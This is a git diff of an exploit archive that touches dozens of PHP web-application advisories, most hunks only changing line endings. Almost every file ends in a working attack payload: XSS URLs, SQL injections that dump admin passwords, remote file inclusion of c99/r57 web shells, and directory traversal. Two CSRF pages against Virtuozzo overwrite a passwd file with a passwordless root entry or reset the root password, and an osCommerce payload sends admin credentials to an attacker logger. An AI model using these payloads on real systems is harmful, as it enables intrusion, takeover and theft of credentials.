newline at end of file +http://www.example.com/phpstats/phpstats.php?baseDir=<script>alert(1)</script>&mode=run \ No newline at end of file diff --git a/platforms/php/webapps/31416.txt b/platforms/php/webapps/31416.txt index 8847d93c3..c8b8bcef6 100755 --- a/platforms/php/webapps/31416.txt +++ b/platforms/php/webapps/31416.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow webSPELL 4.01.02 is vulnerable; other versions may also be affected. -http://www.example.com/path/index.php?site=forum&board=">[XSS] \ No newline at end of file +http://www.example.com/path/index.php?site=forum&board=">[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31439.txt b/platforms/php/webapps/31439.txt index b70afba45..6731042cf 100755 --- a/platforms/php/webapps/31439.txt +++ b/platforms/php/webapps/31439.txt @@ -5,4 +5,4 @@ cPanel is prone to an information-disclosure vulnerability. An attacker can exploit this issue to determine programs that are running on the affected server and to view folders on other sites that are protected by a firewall. Information obtained may lead to further attacks. http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/home/user/.htpasswds -http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/var \ No newline at end of file +http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/var \ No newline at end of file diff --git a/platforms/php/webapps/31441.txt b/platforms/php/webapps/31441.txt index 4f4226c0c..728ac0cec 100755 --- a/platforms/php/webapps/31441.txt +++ b/platforms/php/webapps/31441.txt @@ -13,4 +13,4 @@ http://www.example.com/path/post.php?id='+union+select+2,3,user,password,6,7,8,9 http://www.example.com/path/vote.php?id='+union+select+password,3,4,5,6,7,8,9,10,11,12+from+myblog_users+/* http://www.example.com/path/vote.php?mid='+union+select+password,3,4,5,6,7,8,9,10+from+myblog_users+/* http://www.example.com/path/games.php?id=[shell]%00 -http://www.example.com/path/games.php?scoreid=[shell]%00 \ No newline at end of file +http://www.example.com/path/games.php?scoreid=[shell]%00 \ No newline at end of file diff --git a/platforms/php/webapps/31467.txt b/platforms/php/webapps/31467.txt index 89db1ff57..255dd385f 100755 --- a/platforms/php/webapps/31467.txt +++ b/platforms/php/webapps/31467.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phpMyChat 0.14.5 is vulnerable; other versions may also be affected. -http://www.example.com/chat/setup.php3?Lang="<xss> \ No newline at end of file +http://www.example.com/chat/setup.php3?Lang="<xss> \ No newline at end of file diff --git a/platforms/php/webapps/31468.txt b/platforms/php/webapps/31468.txt index da5a1d8b9..c3d688ce9 100755 --- a/platforms/php/webapps/31468.txt +++ b/platforms/php/webapps/31468.txt @@ -11,4 +11,4 @@ http://www.example.com/mywebdoccalendaradd.php3?x http://www.example.com/mywebdoclisting.php3?x http://www.example.com/mywebdocchangepassword.php3?x http://www.example.com/mywebdocadduser.php3?x -http://www.example.com/mywebdocuserlisting.php3?x \ No newline at end of file +http://www.example.com/mywebdocuserlisting.php3?x \ No newline at end of file diff --git a/platforms/php/webapps/31470.txt b/platforms/php/webapps/31470.txt index 97a7770ae..1c7febfaa 100755 --- a/platforms/php/webapps/31470.txt +++ b/platforms/php/webapps/31470.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and ooComments 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/classes/class_comments.php?PathToComment=ZoRLu.txt? \ No newline at end of file +http://www.example.com/classes/class_comments.php?PathToComment=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31471.txt b/platforms/php/webapps/31471.txt index 62501ed9a..faef27cc8 100755 --- a/platforms/php/webapps/31471.txt +++ b/platforms/php/webapps/31471.txt @@ -4,4 +4,4 @@ TinyPortal is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?PHPSESSID="><xss> \ No newline at end of file +http://www.example.com/index.php?PHPSESSID="><xss> \ No newline at end of file diff --git a/platforms/php/webapps/31472.txt b/platforms/php/webapps/31472.txt index 0acdf4604..82a259268 100755 --- a/platforms/php/webapps/31472.txt +++ b/platforms/php/webapps/31472.txt @@ -4,4 +4,4 @@ cPanel is prone to a cross-site scripting vulnerability because the application An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/frontend/x/manpage.html?<xss> \ No newline at end of file +http://www.example.com/frontend/x/manpage.html?<xss> \ No newline at end of file diff --git a/platforms/php/webapps/31476.txt b/platforms/php/webapps/31476.txt index 8f5dcff41..4dd86d411 100755 --- a/platforms/php/webapps/31476.txt +++ b/platforms/php/webapps/31476.txt @@ -5,4 +5,4 @@ Efestech E-Kontor is prone to an SQL-injection vulnerability because it fails to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/?id=-1%20union+select+0,sifre,2,3+from+admin+where+id=1 -http://www.example.com/?id=-1%20union+select+0,firma,2,3+from+admin+where+id=1 \ No newline at end of file +http://www.example.com/?id=-1%20union+select+0,firma,2,3+from+admin+where+id=1 \ No newline at end of file diff --git a/platforms/php/webapps/31514.txt b/platforms/php/webapps/31514.txt index 26c092fa5..11712b63d 100755 --- a/platforms/php/webapps/31514.txt +++ b/platforms/php/webapps/31514.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and Quick Classifieds 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/QuickSystems_path/style/default.scheme.inc?DOCUMENT_ROOT=ZoRLu.txt? \ No newline at end of file +http://www.example.com/QuickSystems_path/style/default.scheme.inc?DOCUMENT_ROOT=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31515.txt b/platforms/php/webapps/31515.txt index ea86a0d7d..9611274c0 100755 --- a/platforms/php/webapps/31515.txt +++ b/platforms/php/webapps/31515.txt @@ -25,7 +25,7 @@ - Proof of Concept ( dump the admin username and password ): - http://server/oscommerce/catalog/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password) from administrators -- + http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password) from administrators -- - Exploitation & Attack Scenario: @@ -33,11 +33,11 @@ an authenticated admin account is required to successfully exploit the vulnerability but it can be combined with other attack vectors like XSS / CSRF to achieve more dangerous successful remote attack - Example to steal the administrator username & password and send it to php logger at "http://evilserver/logger.php?log=[ADMIN USER:HASH]" + Example to steal the administrator username & password and send it to php logger at "http://evilsite.com/logger.php?log=[ADMIN USER:HASH]" We can use hybrid attack technique ( SQL Injection + XSS ) : - http://server/oscommerce/catalog/admin/geo_zones.php?action=list&zID= 1 group by 1 union select 1,2,3,4,5,6,7,concat(0x3c6469762069643d2274657374223e,user_name,0x3d,user_password,0x3c2f6469763e3c7363726970743e646f63756d656e742e6c6f636174696f6e2e687265663d22687474703a2f2f6576696c736974652e636f6d2f6c6f676765722e7068703f6c6f673d222b242822237465737422292e68746d6c28293c2f7363726970743e) from administrators -- + http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID= 1 group by 1 union select 1,2,3,4,5,6,7,concat(0x3c6469762069643d2274657374223e,user_name,0x3d,user_password,0x3c2f6469763e3c7363726970743e646f63756d656e742e6c6f636174696f6e2e687265663d22687474703a2f2f6576696c736974652e636f6d2f6c6f676765722e7068703f6c6f673d222b242822237465737422292e68746d6c28293c2f7363726970743e) from administrators -- - Mitigation: diff --git a/platforms/php/webapps/31528.txt b/platforms/php/webapps/31528.txt index c1dc7d89b..7cf987511 100755 --- a/platforms/php/webapps/31528.txt +++ b/platforms/php/webapps/31528.txt @@ -4,4 +4,4 @@ Le Forum is prone to a remote file-include vulnerability because it fails to pro An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/forum_path/fora-acc.php3?Fichier_Acceuil=ZoRLu.txt? \ No newline at end of file +http://www.example.com/forum_path/fora-acc.php3?Fichier_Acceuil=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31529.txt b/platforms/php/webapps/31529.txt index 5b4d85664..a75e96fd0 100755 --- a/platforms/php/webapps/31529.txt +++ b/platforms/php/webapps/31529.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The issue affects Cinema 1.0; other versions may also be vulnerable. http://www.example.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users/* -http://www.example.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,29,30,concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,29,30,concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31530.txt b/platforms/php/webapps/31530.txt index 32f09c5ad..b989c9073 100755 --- a/platforms/php/webapps/31530.txt +++ b/platforms/php/webapps/31530.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The issue affects Download3000 1.0; other versions may also be vulnerable. -http://www.example.com/index.php?option=com_d3000&task=showarticles&id=-99999/**/union/**/select/**/0,username,pass_word/**/from/**/admin/* \ No newline at end of file +http://www.example.com/index.php?option=com_d3000&task=showarticles&id=-99999/**/union/**/select/**/0,username,pass_word/**/from/**/admin/* \ No newline at end of file diff --git a/platforms/php/webapps/31532.txt b/platforms/php/webapps/31532.txt index 96ecf6fb9..9ac559b4c 100755 --- a/platforms/php/webapps/31532.txt +++ b/platforms/php/webapps/31532.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Clever Copy 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/path/postview.php?ID='+union+select+username,concat(0x706173737764,char(58),password,0x2D2D2D,0x757365726E616D653ADA,username),1,5,username,username,6,username,username,9,username+from+cc_admin/* \ No newline at end of file +http://www.example.com/path/postview.php?ID='+union+select+username,concat(0x706173737764,char(58),password,0x2D2D2D,0x757365726E616D653ADA,username),1,5,username,username,6,username,username,9,username+from+cc_admin/* \ No newline at end of file diff --git a/platforms/php/webapps/31539.txt b/platforms/php/webapps/31539.txt index 624cf5911..f9cd3c4e4 100755 --- a/platforms/php/webapps/31539.txt +++ b/platforms/php/webapps/31539.txt @@ -9,4 +9,4 @@ phpAddressBook 2.0 is vulnerable; other versions may also be affected. The following proof of concept is available: login:admin ' or 1=1/* -password:[blank] \ No newline at end of file +password:[blank] \ No newline at end of file diff --git a/platforms/php/webapps/31541.html b/platforms/php/webapps/31541.html index ce3ad1d88..f0fae1f3b 100755 --- a/platforms/php/webapps/31541.html +++ b/platforms/php/webapps/31541.html @@ -7,4 +7,4 @@ Attacker-supplied script code could exploit vulnerabilities in the user's browse This issue affects IP.Board 2.3.1; other versions may also be affected. -<html> <head> <title>HACKED BY YOUR-NAME</title> </head> <body> <div id="iFrame1" style="position:absolute; left:0px; top:0px; z- index:0"> <iframe name="iFrame1" width=1024 height=3186 src="http://www.example.com/ YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe> </div> </body> </html> \ No newline at end of file +<html> <head> <title>HACKED BY YOUR-NAME</title> </head> <body> <div id="iFrame1" style="position:absolute; left:0px; top:0px; z- index:0"> <iframe name="iFrame1" width=1024 height=3186 src="http://www.example.com/ YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe> </div> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/31549.txt b/platforms/php/webapps/31549.txt index bacf71cdf..542113728 100755 --- a/platforms/php/webapps/31549.txt +++ b/platforms/php/webapps/31549.txt @@ -11,4 +11,4 @@ http://www.example.com/forum.php?main_dir=http://www.example2.com/c99.txt? http://www.example.com/headlines.php?website=http://www.example2.com/erne.txt? http://www.example.com/headlines.php?main_dir=http://www.example2.com/r57.txt? http://www.example.com/main.php?website=http://www.example2.com/c99.txt? -http://www.example.com/main.php?main_dir=http://www.example2.com/erne.txt? \ No newline at end of file +http://www.example.com/main.php?main_dir=http://www.example2.com/erne.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31564.txt b/platforms/php/webapps/31564.txt index 01d9afaa2..c58348bdc 100755 --- a/platforms/php/webapps/31564.txt +++ b/platforms/php/webapps/31564.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Jax LinkLists 1.00 is vulnerable; other versions may also be affected. -http://www.example.com/scripting/php/linklists/linklists/jax_linklists.php?do=list&list_id=0&language=german&cat="><script>alert()</script> \ No newline at end of file +http://www.example.com/scripting/php/linklists/linklists/jax_linklists.php?do=list&list_id=0&language=german&cat="><script>alert()</script> \ No newline at end of file diff --git a/platforms/php/webapps/31580.txt b/platforms/php/webapps/31580.txt index 506637fcb..e53c6c0c6 100755 --- a/platforms/php/webapps/31580.txt +++ b/platforms/php/webapps/31580.txt @@ -4,4 +4,4 @@ Jax Guestbook is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/scripting/php/guestbook/guestbook/jax_guestbook.php?language="><script>alert()</script> \ No newline at end of file +http://www.example.com/scripting/php/guestbook/guestbook/jax_guestbook.php?language="><script>alert()</script> \ No newline at end of file diff --git a/platforms/php/webapps/31581.txt b/platforms/php/webapps/31581.txt index b820f70fd..abed648bb 100755 --- a/platforms/php/webapps/31581.txt +++ b/platforms/php/webapps/31581.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute malicious PHP code in the context PhpGKit 0.9 is vulnerable; other versions may also be affected. -http://www.example.com/phpg_kit_path/connexion.php?DOCUMENT_ROOT=ZoRLu.txt? \ No newline at end of file +http://www.example.com/phpg_kit_path/connexion.php?DOCUMENT_ROOT=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31584.txt b/platforms/php/webapps/31584.txt index 2679da4f0..40bec2758 100755 --- a/platforms/php/webapps/31584.txt +++ b/platforms/php/webapps/31584.txt @@ -4,4 +4,4 @@ Terracotta is prone to a local file-include vulnerability because it fails to pr An attacker can exploit this vulnerability using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks. -http://www.example.com/index.php?CurrentDirectory=FOLDER_420c142a1bebd1.90885049/../../../../../../../../../etc/&StartAt=12 \ No newline at end of file +http://www.example.com/index.php?CurrentDirectory=FOLDER_420c142a1bebd1.90885049/../../../../../../../../../etc/&StartAt=12 \ No newline at end of file diff --git a/platforms/php/webapps/31589.txt b/platforms/php/webapps/31589.txt index b964ffca7..01a53dcd5 100755 --- a/platforms/php/webapps/31589.txt +++ b/platforms/php/webapps/31589.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and EasySite 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/Easysite-2.0_path/configuration/skin_chooser.php?EASYSITE_BASE=ZoRLu.txt? \ No newline at end of file +http://www.example.com/Easysite-2.0_path/configuration/skin_chooser.php?EASYSITE_BASE=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31590.txt b/platforms/php/webapps/31590.txt index 85c4223dd..8df287944 100755 --- a/platforms/php/webapps/31590.txt +++ b/platforms/php/webapps/31590.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br DivXDB 2002 0.94b is vulnerable; other versions may also be affected. -http://www.example.com/index.php?choice="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?choice=14&_page_="><script>alert("CANAKKALE-GECiLMEZ")</script>&year_inf=1998&year_sup=2008 http://www.example.com/index.php?_page_="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&zone_admin="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search=1&object="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search="><script>alert("CANAKKALE-GECiLMEZ")</script>&object= http://www.example.com/index.php?_page_=main.html&import="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&choice="><script>alert("CANAKKALE-GECiLMEZ")</script> \ No newline at end of file +http://www.example.com/index.php?choice="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?choice=14&_page_="><script>alert("CANAKKALE-GECiLMEZ")</script>&year_inf=1998&year_sup=2008 http://www.example.com/index.php?_page_="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&zone_admin="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search=1&object="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search="><script>alert("CANAKKALE-GECiLMEZ")</script>&object= http://www.example.com/index.php?_page_=main.html&import="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&choice="><script>alert("CANAKKALE-GECiLMEZ")</script> \ No newline at end of file diff --git a/platforms/php/webapps/31595.txt b/platforms/php/webapps/31595.txt index e29ce4153..87d6352e3 100755 --- a/platforms/php/webapps/31595.txt +++ b/platforms/php/webapps/31595.txt @@ -4,4 +4,4 @@ The Joomlearn LMS component for Joomla! and Mambo is prone to an SQL-injection v Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_lms&task=showTests&cat=-1 union select 1,concat(username,char(32),password),3,4,5,6,7 from jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_lms&task=showTests&cat=-1 union select 1,concat(username,char(32),password),3,4,5,6,7 from jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31603.html b/platforms/php/webapps/31603.html index 5160bf6aa..282dc9780 100755 --- a/platforms/php/webapps/31603.html +++ b/platforms/php/webapps/31603.html @@ -6,4 +6,4 @@ Exploiting the issue will allow a remote attacker to use a victim's currently ac Virtuozzo Containers 3.0.0-25.4.swsoft and 4.0.0-365.6.swsoft are vulnerable; other versions are also affected. -<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by overwriting /etc/passwd.demo tested against Version 365.6.swsoft (build: 4.0.0-365.6.swsoft). It doesn't work with older version due to paths changes. perform the following steps to test it: 1. create a blank /etc/passwd.demo on target machine 2. in this file replace 127.0.0.1 with target vps address 3. open a web browser and log into virtuozzo web interface 4. open this file in a new browser window and click the "lets rock" button when the page is fully loaded 5. check /etc/passwd.demo in the target vps filesystemm --> <script language="JavaScript"> var ok=false; function letsgo(){ ok=true; document.getElementById('form0').submit(); } </script> <!-- this sets /etc as the current path--> <iframe style="width:1px;height:1px;visibility:hidden" name=ifr src="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/index?path=L2V0Yw==" ></iframe> <iframe id=ifr1 style="width:1px;height:1px;visibility:hidden" name=ifr1 onload="if(ok)document.getElementById('form1').submit();" ></iframe> <iframe id=ifr2 style="width:1px;height:1px;visibility:hidden" name=ifr2 > </iframe> <!-- delete /etc/passwd.demo --> <form id=form0 target=ifr1 method=post action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/list-control" > <input type=hidden name="file-name" value="passwd.demo"> <input type=hidden name=delete value=1> </form> <!-- create /etc/passwd.demo --> <form id=form1 target=ifr2 enctype="multipart/form-data" name="defaultForm" method="POST" action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/create-file"> <input xmlns:http="http://www.swsoft.com/xsl/cp/http" type="hidden" name="step" value="gen"> <input type=hidden name="file_name" value="passwd.demo"> <input type=hidden name="file_body" value="root::0:0::/root:/bin/bash"> <input type=hidden name="next" value="Create"> </form> <input type=button value="lets rock" onclick="letsgo()"> \ No newline at end of file +<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by overwriting /etc/passwd.demo tested against Version 365.6.swsoft (build: 4.0.0-365.6.swsoft). It doesn't work with older version due to paths changes. perform the following steps to test it: 1. create a blank /etc/passwd.demo on target machine 2. in this file replace 127.0.0.1 with target vps address 3. open a web browser and log into virtuozzo web interface 4. open this file in a new browser window and click the "lets rock" button when the page is fully loaded 5. check /etc/passwd.demo in the target vps filesystemm --> <script language="JavaScript"> var ok=false; function letsgo(){ ok=true; document.getElementById('form0').submit(); } </script> <!-- this sets /etc as the current path--> <iframe style="width:1px;height:1px;visibility:hidden" name=ifr src="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/index?path=L2V0Yw==" ></iframe> <iframe id=ifr1 style="width:1px;height:1px;visibility:hidden" name=ifr1 onload="if(ok)document.getElementById('form1').submit();" ></iframe> <iframe id=ifr2 style="width:1px;height:1px;visibility:hidden" name=ifr2 > </iframe> <!-- delete /etc/passwd.demo --> <form id=form0 target=ifr1 method=post action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/list-control" > <input type=hidden name="file-name" value="passwd.demo"> <input type=hidden name=delete value=1> </form> <!-- create /etc/passwd.demo --> <form id=form1 target=ifr2 enctype="multipart/form-data" name="defaultForm" method="POST" action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/create-file"> <input xmlns:http="http://www.swsoft.com/xsl/cp/http" type="hidden" name="step" value="gen"> <input type=hidden name="file_name" value="passwd.demo"> <input type=hidden name="file_body" value="root::0:0::/root:/bin/bash"> <input type=hidden name="next" value="Create"> </form> <input type=button value="lets rock" onclick="letsgo()"> \ No newline at end of file diff --git a/platforms/php/webapps/31604.html b/platforms/php/webapps/31604.html index 4ba37af4a..f11966dac 100755 --- a/platforms/php/webapps/31604.html +++ b/platforms/php/webapps/31604.html @@ -6,4 +6,4 @@ Exploiting the issue will allow a remote attacker to use a victim's currently ac Virtuozzo Containers 3.0.0-25.4.swsoft is vulnerable; other versions are also affected. -<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by setting root password to "csrfsafepass" tested against Version 25.4.swsoft (build: 3.0.0-25.4.swsoft) perform the following steps to test it: 1. in this file replace 127.0.0.1 with target vps address 2. open a web browser and log into virtuozzo web interface 3. open this file in a new browser window and click the "change pwd" --> <form target=vrtifr name="defaultForm" method="post" action="https://127.0.0.1:4643/vz/cp/pwd"> <input type="hidden" name="passwd" value="csrfsafepass"> <input type="hidden" name="retype" value="csrfsafepass"> <input type="hidden" name="_submit" value="Change" > </form> <iframe style="width:1px;height:1px;visibility:hidden" name="vrtifr"></iframe> <input type=button value="change pwd" onclick="document.defaultForm.submit()"> \ No newline at end of file +<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by setting root password to "csrfsafepass" tested against Version 25.4.swsoft (build: 3.0.0-25.4.swsoft) perform the following steps to test it: 1. in this file replace 127.0.0.1 with target vps address 2. open a web browser and log into virtuozzo web interface 3. open this file in a new browser window and click the "change pwd" --> <form target=vrtifr name="defaultForm" method="post" action="https://127.0.0.1:4643/vz/cp/pwd"> <input type="hidden" name="passwd" value="csrfsafepass"> <input type="hidden" name="retype" value="csrfsafepass"> <input type="hidden" name="_submit" value="Change" > </form> <iframe style="width:1px;height:1px;visibility:hidden" name="vrtifr"></iframe> <input type=button value="change pwd" onclick="document.defaultForm.submit()"> \ No newline at end of file diff --git a/platforms/php/webapps/31605.txt b/platforms/php/webapps/31605.txt index 89a060321..c86b2b6c7 100755 --- a/platforms/php/webapps/31605.txt +++ b/platforms/php/webapps/31605.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Poplar Gedcom Viewer 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/poplar/index.php?genID=1&page=search&text="><script>alert("CANAKKALE-GECiLMEZ")</script>&ul=&start=0 http://www.example.com/poplar/index.php?genID=1&page=search&text=&ul="><script>alert("CANAKKALE-GECiLMEZ")</script>&start=0 \ No newline at end of file +http://www.example.com/poplar/index.php?genID=1&page=search&text="><script>alert("CANAKKALE-GECiLMEZ")</script>&ul=&start=0 http://www.example.com/poplar/index.php?genID=1&page=search&text=&ul="><script>alert("CANAKKALE-GECiLMEZ")</script>&start=0 \ No newline at end of file diff --git a/platforms/php/webapps/31608.txt b/platforms/php/webapps/31608.txt index f5d91b699..2f0063bac 100755 --- a/platforms/php/webapps/31608.txt +++ b/platforms/php/webapps/31608.txt @@ -4,4 +4,4 @@ KwsPHP is prone to a cross-site scripting vulnerability because it fails to prop An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/Path/index.php?mod=ConcoursPhoto&VIEW=[XSS] \ No newline at end of file +http://www.example.com/Path/index.php?mod=ConcoursPhoto&VIEW=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31611.txt b/platforms/php/webapps/31611.txt index ec0c1d754..e956677b8 100755 --- a/platforms/php/webapps/31611.txt +++ b/platforms/php/webapps/31611.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and RobotStats 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/RobotStats_path/robotstats.inc.php?DOCUMENT_ROOT=ZoRLu.txt? \ No newline at end of file +http://www.example.com/RobotStats_path/robotstats.inc.php?DOCUMENT_ROOT=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31614.txt b/platforms/php/webapps/31614.txt index 93ddffa3b..6fd41b72c 100755 --- a/platforms/php/webapps/31614.txt +++ b/platforms/php/webapps/31614.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Tiny Portal 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?PHPSESSID=d0de2085c36edc6b8a5db1e7e8538e3b&action=tpmod;sa=shoutbox;shouts=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3 \ No newline at end of file +http://www.example.com/index.php?PHPSESSID=d0de2085c36edc6b8a5db1e7e8538e3b&action=tpmod;sa=shoutbox;shouts=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3 \ No newline at end of file diff --git a/platforms/php/webapps/31616.txt b/platforms/php/webapps/31616.txt index d96979b26..12f051049 100755 --- a/platforms/php/webapps/31616.txt +++ b/platforms/php/webapps/31616.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to compromise the application and th Web Server Creator 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/Web_Server_Creator_path/news/include/createdb.php?langfile;=ZoRLu.txt? \ No newline at end of file +http://www.example.com/Web_Server_Creator_path/news/include/createdb.php?langfile;=ZoRLu.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31622.txt b/platforms/php/webapps/31622.txt index 0306f6153..e1a7b6807 100755 --- a/platforms/php/webapps/31622.txt +++ b/platforms/php/webapps/31622.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br URLStreet 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/URLStreet/seeurl.php?language="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter=none&order="><script>alert("CANAKKALE-GECiLMEZ")</script>&search=aaa http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter="><script>alert("CANAKKALE-GECiLMEZ")</script>&order=hit&search=aaa \ No newline at end of file +http://www.example.com/URLStreet/seeurl.php?language="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter=none&order="><script>alert("CANAKKALE-GECiLMEZ")</script>&search=aaa http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter="><script>alert("CANAKKALE-GECiLMEZ")</script>&order=hit&search=aaa \ No newline at end of file diff --git a/platforms/php/webapps/31626.txt b/platforms/php/webapps/31626.txt index 364534663..f2a07100e 100755 --- a/platforms/php/webapps/31626.txt +++ b/platforms/php/webapps/31626.txt @@ -8,4 +8,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Prozilla Software Index 1.1; other versions may also be vulnerable. -http://www.example.com/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D22726564223E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/* \ No newline at end of file +http://www.example.com/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D22726564223E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/* \ No newline at end of file diff --git a/platforms/php/webapps/31628.txt b/platforms/php/webapps/31628.txt index e39f0e383..1d542c756 100755 --- a/platforms/php/webapps/31628.txt +++ b/platforms/php/webapps/31628.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Swiki 1.5 is vulnerable; other versions may also be affected. -http://www.example.com:8000/<script>alert("XSS");</script> \ No newline at end of file +http://www.example.com:8000/<script>alert("XSS");</script> \ No newline at end of file 